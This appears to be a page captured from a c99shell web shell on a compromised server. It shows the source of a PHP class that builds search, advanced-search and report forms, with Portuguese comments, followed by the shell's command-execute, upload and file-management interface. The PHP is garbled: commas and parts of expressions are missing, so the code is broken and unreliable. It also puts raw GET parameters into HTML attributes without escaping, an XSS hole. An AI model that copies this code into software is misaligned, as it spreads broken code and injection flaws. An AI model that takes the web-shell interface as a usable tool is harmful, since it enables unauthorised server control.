$html.= $this->writeIntegerInput($field."Ini"$value$value01true);
                   
$html.= ' <span class="sptl"> á </span>';
                   
$html.= $this->writeIntegerInput($field."End"$value$value02true);
               } break;

               case 
"select":{
                   
$html.= $this->writeSelectInput($field$value$value01true);
               } break;

               case 
"subselect":{
                   
$html.= $this->writeSubSelectInput($field$value$value01true);
               } break;

               case 
"checkbox":{
                   
$html.= $this->writeCheckBox($field$value$value01true);
               } break;

               case 
"popupsearch":{
                   
$html.= $this->writePopUpSearchInput($field$value$value01$value02true$isReport);
               } break;

               default: {
                   
$html.= $this->writeTextInput($field$value$value01true);
               } break;
           }
        return 
$html;
    }

    
    
/**
     * Gera o script Jquery para validação e mascaramento dos campos
     * Os campos de data possuem mascara prédefinida não sendo necessário especificá-la
     * no arquivo de configuraçao.
     *
     * @return html
     */
    
public function writeValidationSearch($isReport=false){
        
$script '<script type="text/javascript" language="javascript">';
        
$script.= ' $(document).ready( function() {';

        foreach(
$this->config->getFields() as $fields){
           foreach(
$fields as $field => $value){
               
$field str_replace(".""_"$field);
               if(
$value['search'] == true || $isReport){
                    if(
$value['type'] == "date"){
                        
$script.= '$("#'.$field.'Ini").mask("99/99/9999");';
                        
$script.= '$("#'.$field.'End").mask("99/99/9999");';
                    }
                    if(
$value['type'] == "time"){
                        
$script.= '$("#'.$field.'Ini").mask("99:99");';
                        
$script.= '$("#'.$field.'End").mask("99:99");';
                    }
                }
            }
        }
        
$script.= '})';
        
$script.= '</script>';

        return 
$script;
    } 
    

    
/**
     * Gera o código html para o formulário de pesquisa
     *
     * @return html
     */
    
public function writeSearchForm($selectedField$valueIni$valueEnd$isPopUp$get){
        
$write false;
        
$html $this->writeValidationSearch();
        if(
$isPopUp){
            
$url "frameNoticia.php";
        }else{
            
$url "../view/";
        }
        
$html.= '<div class="form">';
        
$html.= '<form action="'.$url.'" method="get" enctype="multipart/form-data" name="formBusca" id="formBusca" onSubmit="return verificaBusca()">';
        
$html.= '<input type="hidden" value="'.$this->getArea().'" name="lc" />';
        
$html.= '<input type="hidden" value="Lista" name="md" />';
        
$html.= '<input type="hidden" value="Busca" name="action" />';
        
$html.= '<input type="hidden" name="prm" value=""/>';
        
$html.= '<input type="hidden" name="relationField" value="'.$get['relationField'].'"/>';
        
$html.= '<input type="hidden" name="labelField" value="'.$get['labelField'].'"/>';
        
$html.= '<input type="hidden" name="search" value="'.$get['search'].'"/>';
        
$html.= '<input type="hidden" name="field" value="'.$get['field'].'"/>';
        
$html.= $this->writeSearchOptions($selectedField);
        
$arrayDivs "";
        
$count 0;
        foreach(
$this->getConfig()->getFields() as $fields){
            foreach(
$fields as $field => $value){ 
                if(
$value['search'] == true){
                   if(!empty(
$selectedField)){
                       if(
$selectedField == $field){
                           
$display "block";
                           
$value01 $valueIni;
                           
$value02 $valueEnd;
                       }else{
                           
$display "none";
                           
$value01 "";
                           
$value02 "";
                       }
                   }else{
                      
$display $count=="block" "none";
                      
$value01 "";
                      
$value02 "";
                   }
                   
                   
$field str_replace(".""_"$field);
                   if(!(
$value['type'] == "popupsearch" && $isPopUp)){
                      
$html.='<div id="div_'.$field.'" style="float:left; display:'.$display.'; margin-left:10px">';
                      
$html.= $this->writeSearchField($field$value$value01$value02true);
                      
$arrayDivs.= 'div_'.$field.'-';
                      
$count++;
                      
$html.='</div>';
                      
$write true;
                   }
                }
            }
        }
        
/*
                <input id="busca" type="text" class="busca" value="Buscar" onblur="this.value='Buscar',mudacor(this,'#fff','italic','','')" onfocus="this.value='',mudacor(this,'#e2e7ed','normal','#00223e','bold')" />
        */
        
$html.= '<input type="hidden" value="'.$arrayDivs.'" id="arrayDivs">';
        
$html.= '<input type="image" value="Submit" src="img/ico_lopa.png" style="padding-top:5px">';
        
$html.= '</form>';
        
$html.= '</div>';
        if(
$write){
            return 
$html;
        }
    }

    
/**
     * Gera o código html para o campo de seleção de tipo de pesquisa
     *
     * @return html
     */
    
public function writeSearchOptions($selectedField){
        
$write false;
        
$html '<select name="buscarPor" class="busca_options" onChange="mostraCampoPesquisa(this.value)">';
        if(empty(
$selectedField)){
            
$sel =  'selected="selected"';
        }
        
$html.= '   <option value="" '.$sel.'>Pesquisar  por...</option>';
        foreach(
$this->getConfig()->getFields() as $fields){
            foreach(
$fields as $field => $value){
                if(
$value['search'] == true){
                   if(
$selectedField == $field){
                       
$sel 'selected="selected"';
                   }else{
                       
$sel "";
                   }
                   
$html.= '<option value="'.str_replace(".""_"$field).'|'.$value['type'].'" '.$sel.'>'.$value['name'].'</option>';
                   
$write true;
                }
            }
        }
        
$html.= '<option value="todos">Mostrar Todos</option>';
        
$html.= '</select>';

        if(
$write){
            return 
$html;
        }
    }

    
   
/**
     * Gera o código html para o formulário de pesquisa
     *
     * @return html
     */
    
public function writeAdvancedSearchForm($get$isPopUp$isReport=false){
        
$write false;
        
$target "_self";
        
$method "GET";
        
$name "formBusca";
        if(
$isPopUp){
            
$url "frameBusca.php";
        }else if(
$isReport){
            
$url "gerarRelatorio.php";
            
$target "_blank";
            
$method "POST";
            
$name "formreg";
        }else{
            
$url "../view/";
        }
        
$listFields "";
        
$html $this->writeValidationSearch($isReport);
        
$html.= '<div class="form_advanced_search">';
        
$html.= '<form action="'.$url.'" method="'.$method.'" enctype="multipart/form-data" name="'.$name.'" id="'.$name.'" onSubmit="return verificaBusca()" style="min-height:30px;" target="'.$target.'">';
        
$html.= '<img src="img/ico_search_mini.png" style="margin-left:7px;float:left; padding-left:0px !important; padding-top:5px; padding-bottom:3px !important; padding-right:0px !important; background-color: #E6EFF9">';
        if(
$isReport){
            
$html.= '<span class="sptl_fieldname" style="padding-left:5px; float:left ; padding-top:10px"><strong>Gerar Relatório</strong></span><br/>';
        }else{
            
$html.= '<span class="sptl_fieldname" style="padding-left:5px; float:left ; padding-top:10px"><strong>Pesquisa Avançada</strong></span><br/>';
        }
        
$html.= '<div class="clear"></div>';
        
$html.= '<style type="text/css">';
        
$html.= '    .fields_search_text {';
        
$html.=    '        width:55% !important;';
        
$html.= '    }';
        
$html.= '    .fields_search_select {';
        
$html.=    '        width:58% !important;';
        
$html.= '    }';
        
$html.= '    .fields_popupsearch {';
        
$html.=    '        width:51% !important;';
        
$html.= '    }';
        
$html.= '    .fields_search_date {';
        
$html.=    '        width:24% !important;';
        
$html.= '    }';
        
$html.= '</style>';
        
$html.= '<input type="hidden" value="'.$this->getArea().'" name="lc" />';
        
$html.= '<input type="hidden" value="Lista" name="md" />';
        
$html.= '<input type="hidden" value="Busca" name="action" />';
        
$html.= '<input type="hidden" name="prm" value=""/>';
        
$html.= '<input type="hidden" name="relationField" value="'.$get['relationField'].'"/>';
        
$html.= '<input type="hidden" name="labelField" value="'.$get['labelField'].'"/>';
        
$html.= '<input type="hidden" name="field" value="'.$get['field'].'"/>';
        
$html.= '<input type="hidden" name="search" value="'.$get['search'].'"/>';
    
$countfields 0;
        foreach(
$this->getConfig()->getFields($isReport) as $fields){
            foreach(
$fields as $field => $value){
                if(
$value['search'] == true || $isReport){
                    if((
$value['type'] == "popupsearch" && !$isPopUp) || $value['type'] != "popupsearch"){
                        
$countfields++;
                        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
                        if(
$isReport){
                            
$html.= "<div style='width:450px; padding:5px; float:left'>";
                        }else{
                            
$html.= "<div style='width:30%; padding:5px; float:left'>";
                        }
                        if(
$value['type'] == "checkbox"){
                            
$html.= "&nbsp;<span class='sptl_fieldname' style='width:35% !important; float:left;text-align:right;'></span>";
                        }else{
                            
$html.= "&nbsp;<span alt='".$altTitle."' title='".$altTitle."' class='sptl_fieldname' style='width:35% !important; float:left;text-align:right;' >".$value['name'].":&nbsp;</span>";
                        }
                        
$valueIni $valueEnd "";
                        
$formField str_replace(".""_"$field);
                        if(!empty(
$get[$formField])){
                            
$valueIni $get[$formField];
                        }
                        if(!empty(
$get[$formField."Ini"])){
                            
$valueIni $get[$formField."Ini"];
                        }
                        if(!empty(
$get[$formField."End"])){
                            
$valueEnd $get[$formField."End"];
                        }
                        if(
$value['type'] == "popupsearch"){
                            
$valueEnd $get[$formField."_label"];
                        }
                        
$html.= $this->writeSearchField($formField$value$valueIni$valueEnd"advanced"$isReport);
                        
$html.= "</div>";

                        if(
$countfields == && !$isReport) {
                            
$html.=    '<div class="clear"></div>';
                        }else if(
$countfields == && $isReport) {
                            
$html.=    '<div class="clear"></div>';
                        }
                        
$listFields.= $formField.'|'.$value['type'].",";
                        
$write true;
                    }
                }
            }
        }
        if(
$isReport){
            
$html.= '<input id="tipo" type="hidden" name="tipo" value="XLS"/>';
            
$html.= '<div class="clear"></div>';
        }
        
$html.= "<div style='width:30%; padding:5px; float:left'>";
        
$html.= "<style type='text/css'> input[type='submit'][value='Buscar']:hover {background-color:#a9a5ff !important; color:#fff !important;}</style>";
        if(
$isReport){
            
$html.= '<input type="submit" id="buscar" value="Confirmar" style="float:right;margin-right:25px; background-color:#b4c8ff;font-weight:bold; padding:2px 4px; border-radius:5px;border: 1px solid #ADB7C5; cursor:pointer; height:30px; width:80px;color:#516ac2">';
        }else{
            
$html.= '<input type="submit" id="buscar" value="Buscar" style="float:right;margin-right:25px; background-color:#b4c8ff;font-weight:bold; padding:2px 4px; border-radius:5px;border: 1px solid #ADB7C5; cursor:pointer; height:30px; width:80px;color:#516ac2">';
        }
        
$html.= '</div>';
        
$html.= '<input type="hidden" value="'.$listFields.'" name="listFields" />';
        
$html.= '</form>';
        
$html.= '</div>';
        
$html.= '<div class="clear"></div>';
        if(
$write){
            return 
$html;
        }
    }
    
    
   
/**
     * Gera o código html para o formulário de pesquisa
     *
     * @return html
     */
    
public function getArrayAdvancedSearch($get){
        
$write false;
        
$html $this->writeValidationSearch();
        
$html.= '<div class="form_advanced_search">';
        
$html.= '<form action="../view/" method="get" enctype="multipart/form-data" name="formBusca" id="formBusca" onSubmit="return verificaBusca()">';
        
$html.= '<h3>Pesquisa Avançada</h3><br/>';
        
$html.= '<input type="hidden" value="'.$this->getArea().'" name="lc" />';
        
$html.= '<input type="hidden" value="Lista" name="md" />';
        
$html.= '<input type="hidden" name="prm" value=""/>';
        foreach(
$this->getConfig()->getFields() as $fields){
            foreach(
$fields as $field => $value){
                if(
$value['search'] == true){
                    
$html.= "<div style='width:290px; padding:5px; float:left'>";
                    if(
$value['type'] == "checkbox"){
                        
$html.= "&nbsp;<span class='sptl_fieldname' style='width:80px'></span>";
                    }else{
                        
$html.= "&nbsp;<span class='sptl_fieldname' style='width:80px'>".$value['name'].": </span>";
                    }
                    
$valueIni $valueEnd "";
                    if(!empty(
$get[$field])){
                        
$valueIni $get[$field];
                    }
                    if(!empty(
$get[$field."Ini"])){
                        
$valueIni $get[$field."Ini"];
                    }
                    if(!empty(
$get[$field."End"])){
                        
$valueEnd $get[$field."End"];
                    }
                    
$html.= $this->writeSearchField($field$value$valueIni$valueEnd"advanced");
                    
$html.= "</div>";
                    
$write true;
                }
            }
        }
        
/*
           <input id="busca" type="text" class="busca" value="Buscar" onblur="this.value='Buscar',mudacor(this,'#fff','italic','','')" onfocus="this.value='',mudacor(this,'#e2e7ed','normal','#00223e','bold')" />
        */
        
$html.= '</form>';
        
$html.= '</div>';
        if(
$write){
            return 
$html;
        }
    }
    
    
    

   
/**
     * Gera a url com os parâmetros informados na pesquisa
     *
     * @return String
     */
    
public function writeUrlParametersSearch($get){ 
        
$url "";
        
$fields $this->getConfig()->getFields();
        foreach(
$get as $getParameter => $parameter){
           foreach(
$this->getConfig()->getFields() as $fields){
               foreach(
$fields as $field => $value){
                   
$exists strpos($getParameter$field);
                   if(
$exists !== false){
                       if(
$value['search'] == true){
                           
$url.= "&".$field."=".$get[$getParameter];
                       }
                   }
               }
           }
        }
        return 
$url;
    }
    
        
    
/**
     * Cria o script para manipula??o dos campos que dependem do valor de outros para serem exibidos<br>
     * ? realizado um la?o nos campos do arquivo de configura??o yaml que possuem setados os atributos showIf e hideIf
     * 
     * @return Script
     */
    
public function writeItensActionsScript(){
        
$script "";
        foreach(
$this->config->getFields() as $fields){
           foreach(
$fields as $field => $value){
               
$field str_replace(".""_"$field);
               if(!empty(
$value['showIf'])){
                    
$comparationScript "";
                    list(
$dependentField$attrDependentField) = explode("@"$value['showIf']);
                    list(
$atributeField$valueDependentField) = explode("="$attrDependentField); 
                    
$arrayValueDependentField explode("|"$valueDependentField);
                    for(
$i=0$i count($arrayValueDependentField); $i++){
                        if(
$i 0){
                            
$comparationScript.= " || ";
                        }
                        
$comparationScript.= "$(this).val() == '".$arrayValueDependentField[$i]."'";
                    }
                   
$script.= '$("#'.$dependentField.'").bind("change", function(){';
                    
$script.= '  if('.$comparationScript.'){ $("#formItem_'.$field.'").show(150);';
                    
$script.= '  }else{ $("#formItem_'.$field.'").hide(150); }';
                    
$script.= '});';
               }
               if(!empty(
$value['hideIf'])){
                    list(
$dependentField$attrDependentField) = explode("@"$value['hideIf']);
                    list(
$atributeField$valueDependentField) = explode("="$attrDependentField); 
                    
$script.= '$("#'.$dependentField.'").bind("change", function(){';
                    
$script.= '  if($(this).val() == \''.$valueDependentField.'\'){ $("#formItem_'.$field.'").hide(150);';
                    
$script.= '  }else{ $("#formItem_'.$field.'").show(150); }';
                    
$script.= '});';
               }
            }
        }  
        return 
$script;
    }
    
    
    
    
        
/**
     * Verifica se o campo deve ou n?o ser mostrado
     * Utilizado nos casos em que o atributo showIf ou hideIf for setado no arquivo de configura??o yaml <br>
     * ou dependendo das configura??es de permiss?o setadas para o campo atual
     * 
     * @param $field   Nome do campo atual
     * @param $object  Objeto atual completo
     * @param $value   Atributos do campo atual
     * @return String
     */
    
public function isDisplayedItemForm($field$object$value){
        
$display "block";
        
$break false;
        if(!empty(
$value['showIf'])){
            if(!empty(
$object['id'])){
                list(
$dependentField$attrDependentField) = explode("@"$value['showIf']);
                list(
$atributeField$valueDependentField) = explode("="$attrDependentField); 
                if(
$atributeField == "value"){
                    
$arrayValueDependentField explode("|"$valueDependentField);
                    for(
$i=0$i count($arrayValueDependentField); $i++){
                        if(
$object[$dependentField] != $arrayValueDependentField[$i] && !$break){
                            
$display "none";
                        }else{
                            
$break true;
                            
$display "block";
                        }
                    }
                }else{
                    if(
$atributeField == "session"){
                        
$arrayValueDependentField explode("|"$valueDependentField);
                        for(
$i=0$i count($arrayValueDependentField); $i++){
                            if(
$_SESSION[$dependentField] != $arrayValueDependentField[$i] && !$break){
                                
$display "none";
                            }else{
                                
$break true;
                                
$display "block";
                            }
                        }
                    }
                }
            }else{
                if(!
$value['showOnStart']){
                    
$display "none";
                }
                if(!empty(
$value['showIf'])){
                    list(
$dependentField$attrDependentField) = explode("@"$value['showIf']);
                    list(
$atributeField$valueDependentField) = explode("="$attrDependentField); 
                    if(
$atributeField == "session"){
                        
$arrayValueDependentField explode("|"$valueDependentField);
                        for(
$i=0$i count($arrayValueDependentField); $i++){
                            if(
$_SESSION[$dependentField] != $arrayValueDependentField[$i] && !$break){
                                
$display "none";
                            }else{
                                
$break true;
                                
$display "block";
                            }
                        }
                    }
                } 
            }
        }
        if(!empty(
$value['hideIf'])){
            if(!empty(
$object['id'])){
                list(
$dependentField$attrDependentField) = explode("@"$value['hideIf']);
                list(
$atributeField$valueDependentField) = explode("="$attrDependentField); 
                if(
$object[$dependentField] != $valueDependentField){
                    
$display "block";
                }
            }else{
                if(!
$value['showOnStart']){
                    
$display "none";
                }
            }
        }
        return 
$display;
    }
   
}
   
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.007 ]--